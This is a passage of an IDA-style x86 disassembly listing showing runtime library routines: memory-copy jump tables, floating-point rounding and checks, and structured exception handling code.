		rep movsd
		jmp	off_41CC28[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41CBA0:				; DATA XREF: sub_41CAE0+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41CB3C
		rep movsd
		jmp	off_41CC28[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CBBC	dd offset loc_41CC1F	; DATA XREF: sub_41CAE0:loc_41CB3Cr
		dd offset loc_41CC0C
		dd offset loc_41CC04
		dd offset loc_41CBFC
		dd offset loc_41CBF4
		dd offset loc_41CBEC
		dd offset loc_41CBE4
		dd offset loc_41CBDC
; ---------------------------------------------------------------------------


loc_41CBDC:				; CODE XREF: sub_41CAE0:loc_41CB3Cj
					; DATA XREF: sub_41CAE0+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41CBE4:				; CODE XREF: sub_41CAE0:loc_41CB3Cj
					; DATA XREF: sub_41CAE0+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41CBEC:				; CODE XREF: sub_41CAE0:loc_41CB3Cj
					; DATA XREF: sub_41CAE0+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41CBF4:				; CODE XREF: sub_41CAE0:loc_41CB3Cj
					; DATA XREF: sub_41CAE0+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41CBFC:				; CODE XREF: sub_41CAE0:loc_41CB3Cj
					; DATA XREF: sub_41CAE0+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41CC04:				; CODE XREF: sub_41CAE0:loc_41CB3Cj
					; DATA XREF: sub_41CAE0+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41CC0C:				; CODE XREF: sub_41CAE0:loc_41CB3Cj
					; DATA XREF: sub_41CAE0+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CC1F:				; CODE XREF: sub_41CAE0:loc_41CB3Cj
					; DATA XREF: sub_41CAE0:off_41CBBCo
		jmp	off_41CC28[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CC28	dd offset loc_41CC38	; DATA XREF: sub_41CAE0+35r
					; sub_41CAE0+92r ...
		dd offset loc_41CC40
		dd offset loc_41CC4C
		dd offset loc_41CC60
; ---------------------------------------------------------------------------


loc_41CC38:				; CODE XREF: sub_41CAE0+35j
					; sub_41CAE0+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CC40:				; CODE XREF: sub_41CAE0+35j
					; sub_41CAE0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CC4C:				; CODE XREF: sub_41CAE0+35j
					; sub_41CAE0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CC60:				; CODE XREF: sub_41CAE0+35j
					; sub_41CAE0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CC78:				; CODE XREF: sub_41CAE0+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41CCAC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CCA0
		std
		rep movsd
		cld
		jmp	off_41CDC0[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41CCA0:				; CODE XREF: sub_41CAE0+1B1j
					; sub_41CAE0+208j ...
		neg	ecx
		jmp	off_41CD70[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CCAC:				; CODE XREF: sub_41CAE0+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41CCC4
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41CCC4+4[eax*4]
; ---------------------------------------------------------------------------


loc_41CCC4:				; CODE XREF: sub_41CAE0+1D6j
					; DATA XREF: sub_41CAE0+1DDr
		jmp	off_41CDC0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CCD7+1
		dd offset loc_41CCF8
; ---------------------------------------------------------------------------
		and	ch, cl
		inc	ecx


loc_41CCD7:				; DATA XREF: sub_41CAE0+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41CCA0
		std
		rep movsd
		cld
		jmp	off_41CDC0[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CCF8:				; DATA XREF: sub_41CAE0+1F0o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41CCA0
		std
		rep movsd
		cld
		jmp	off_41CDC0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41CCA0
		std
		rep movsd
		cld
		jmp	off_41CDC0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CD74
		dd offset loc_41CD7C
		dd offset loc_41CD84
		dd offset loc_41CD8C
		dd offset loc_41CD94
		dd offset loc_41CD9C
		dd offset loc_41CDA4
off_41CD70	dd offset loc_41CDB7	; DATA XREF: sub_41CAE0+1C2r
; ---------------------------------------------------------------------------


loc_41CD74:				; DATA XREF: sub_41CAE0+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41CD7C:				; DATA XREF: sub_41CAE0+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_41CD84:				; DATA XREF: sub_41CAE0+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41CD8C:				; DATA XREF: sub_41CAE0+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_41CD94:				; DATA XREF: sub_41CAE0+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41CD9C:				; DATA XREF: sub_41CAE0+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_41CDA4:				; DATA XREF: sub_41CAE0+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CDB7:				; CODE XREF: sub_41CAE0+1C2j
					; DATA XREF: sub_41CAE0:off_41CD70o
		jmp	off_41CDC0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41CDC0	dd offset loc_41CDD0	; DATA XREF: sub_41CAE0+1B7r
					; sub_41CAE0:loc_41CCC4r ...
		dd offset loc_41CDD8
		dd offset loc_41CDE8
		dd offset loc_41CDFC
; ---------------------------------------------------------------------------


loc_41CDD0:				; CODE XREF: sub_41CAE0+1B7j
					; sub_41CAE0:loc_41CCC4j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CDD8:				; CODE XREF: sub_41CAE0+1B7j
					; sub_41CAE0:loc_41CCC4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CDE8:				; CODE XREF: sub_41CAE0+1B7j
					; sub_41CAE0:loc_41CCC4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CDFC:				; CODE XREF: sub_41CAE0+1B7j
					; sub_41CAE0:loc_41CCC4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41CAE0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CE15	proc near		; CODE XREF: sub_40BE71+40p
					; sub_40F23F+23Dp ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_41B7B0
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_420D10
		add	esp, 10h
		leave
		retn
sub_41CE15	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41CE49(double)

sub_41CE49	proc near		; CODE XREF: sub_40CE97+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43CF80
		call	sub_421FE9
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41CECF
		call	sub_421EB1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41CEB2
		cmp	eax, 2
		jle	short loc_41CEA4
		cmp	eax, 3
		jnz	short loc_41CEB2
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_4217C1
		add	esp, 10h
		jmp	short loc_41CF14
; ---------------------------------------------------------------------------


loc_41CEA4:				; CODE XREF: sub_41CE49+3Fj
		push	esi
		push	ebx
		call	sub_421FE9
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41CF14
; ---------------------------------------------------------------------------


loc_41CEB2:				; CODE XREF: sub_41CE49+3Aj
					; sub_41CE49+44j
		fld	[ebp+arg_0]
		fadd	dbl_428718
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_41CF0C
; ---------------------------------------------------------------------------


loc_41CECF:				; CODE XREF: sub_41CE49+2Fj
		call	sub_421E76
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41CEF2


loc_41CEE4:				; CODE XREF: sub_41CE49+ACj
		push	esi
		push	ebx
		call	sub_421FE9
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41CF14
; ---------------------------------------------------------------------------


loc_41CEF2:				; CODE XREF: sub_41CE49+99j
		test	bl, 20h
		jnz	short loc_41CEE4
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int


loc_41CF0C:				; CODE XREF: sub_41CE49+84j
		call	sub_421814
		add	esp, 1Ch


loc_41CF14:				; CODE XREF: sub_41CE49+59j
					; sub_41CE49+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41CE49	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CF18	proc near		; CODE XREF: sub_41BF54+9p
					; sub_4220B2+21p
					; DATA XREF: ...
		call	sub_41CF30
		call	sub_4220B2
		mov	dword_4DE080, eax
		call	sub_422062
		fnclex
		retn
sub_41CF18	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_41CF30	proc near		; CODE XREF: sub_41CF18p
		mov	eax, offset sub_4224A0
		mov	off_43F594, offset sub_422135
		mov	off_43F590, eax
		mov	off_43F598, offset sub_42219B
		mov	off_43F59C, offset sub_4220DB
		mov	off_43F5A0, offset sub_422183
		mov	off_43F5A4, eax
		retn
sub_41CF30	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CF68	proc near		; CODE XREF: sub_40CE97+1Bp
					; sub_40CE97+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_41CF68	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41CF8F(double)

sub_41CF8F	proc near		; CODE XREF: sub_40CEE3+83p
					; sub_40D86F+3AEp

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43CF98
		call	sub_421FE9
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41D015
		call	sub_421EB1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41CFF8
		cmp	eax, 2
		jle	short loc_41CFEA
		cmp	eax, 3
		jnz	short loc_41CFF8
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_4217C1
		add	esp, 10h
		jmp	short loc_41D05A
; ---------------------------------------------------------------------------


loc_41CFEA:				; CODE XREF: sub_41CF8F+3Fj
		push	esi
		push	ebx
		call	sub_421FE9
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41D05A
; ---------------------------------------------------------------------------


loc_41CFF8:				; CODE XREF: sub_41CF8F+3Aj
					; sub_41CF8F+44j
		fld	[ebp+arg_0]
		fadd	dbl_428718
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_41D052
; ---------------------------------------------------------------------------


loc_41D015:				; CODE XREF: sub_41CF8F+2Fj
		call	sub_421E76
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41D038


loc_41D02A:				; CODE XREF: sub_41CF8F+ACj
		push	esi
		push	ebx
		call	sub_421FE9
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41D05A
; ---------------------------------------------------------------------------


loc_41D038:				; CODE XREF: sub_41CF8F+99j
		test	bl, 20h
		jnz	short loc_41D02A
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int


loc_41D052:				; CODE XREF: sub_41CF8F+84j
		call	sub_421814
		add	esp, 1Ch


loc_41D05A:				; CODE XREF: sub_41CF8F+59j
					; sub_41CF8F+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41CF8F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D05E	proc near		; CODE XREF: sub_422911+71p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_41D05E	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_41D092	proc near		; CODE XREF: sub_422AC2+199p
					; sub_422C86+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41D092	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41D099	proc near		; CODE XREF: sub_422AC2+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41D099	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D0A0	proc near		; CODE XREF: sub_41D252+5Cp
					; sub_422911:loc_422942p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_41D0C8
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_426FFC	; RtlUnwind


loc_41D0C8:				; DATA XREF: sub_41D0A0+11o
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+arg_4]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp+var_8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_41D0A0	endp

; ---------------------------------------------------------------------------


loc_41D0EF:				; CODE XREF: .packed:0042769Cj
					; .packed:004276B9j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_422516
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D125	proc near		; CODE XREF: sub_42298C+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_41D179
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_422D10
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_41D125	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D179	proc near		; DATA XREF: sub_41D125+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_422516
		add	esp, 20h
		pop	ebp
		retn
sub_41D179	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D19E	proc near		; CODE XREF: sub_422758+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_41D252
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_41D224
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_4DE0DC
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0


loc_41D224:				; DATA XREF: sub_41D19E+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_41D241
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_41D24A
; ---------------------------------------------------------------------------


loc_41D241:				; CODE XREF: sub_41D19E+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_41D24A:				; CODE XREF: sub_41D19E+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D19E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D252	proc near		; DATA XREF: sub_41D19E+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_41D275
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_41D2C2
; ---------------------------------------------------------------------------


loc_41D275:				; CODE XREF: sub_41D252+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_422516
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_41D2B3
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_41D0A0


loc_41D2B3:				; CODE XREF: sub_41D252+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax


loc_41D2C2:				; CODE XREF: sub_41D252+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41D252	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D2C7	proc near		; CODE XREF: sub_4225B1+C6p
					; sub_422758+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_41D31E


loc_41D2E5:				; CODE XREF: sub_41D2C7+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41D2EF
		call	sub_422DB2


loc_41D2EF:				; CODE XREF: sub_41D2C7+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_41D304
		cmp	ecx, [eax+8]
		jle	short loc_41D309


loc_41D304:				; CODE XREF: sub_41D2C7+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41D315


loc_41D309:				; CODE XREF: sub_41D2C7+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi


loc_41D315:				; CODE XREF: sub_41D2C7+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_41D2E5
		mov	eax, [ebp+var_4]


loc_41D31E:				; CODE XREF: sub_41D2C7+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_41D332
		cmp	esi, eax
		jbe	short loc_41D337


loc_41D332:				; CODE XREF: sub_41D2C7+65j
		call	sub_422DB2


loc_41D337:				; CODE XREF: sub_41D2C7+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_41D2C7	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D344	proc near		; CODE XREF: sub_423D9C+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_41D35C
		push	[ebp+arg_0]
		call	sub_426FFC	; RtlUnwind


loc_41D35C:				; DATA XREF: sub_41D344+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41D344	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D364	proc near		; DATA XREF: sub_41D386+Ao
					; sub_41D3EE+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_41D385
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_41D385:				; CODE XREF: sub_41D364+10j
		retn
sub_41D364	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D386	proc near		; CODE XREF: sub_422A32+Dp
					; sub_423D9C+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_41D364
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_41D3A3:				; CODE XREF: sub_41D386:loc_41D3DEj
		mov	eax, [esp+1Ch+arg_0]
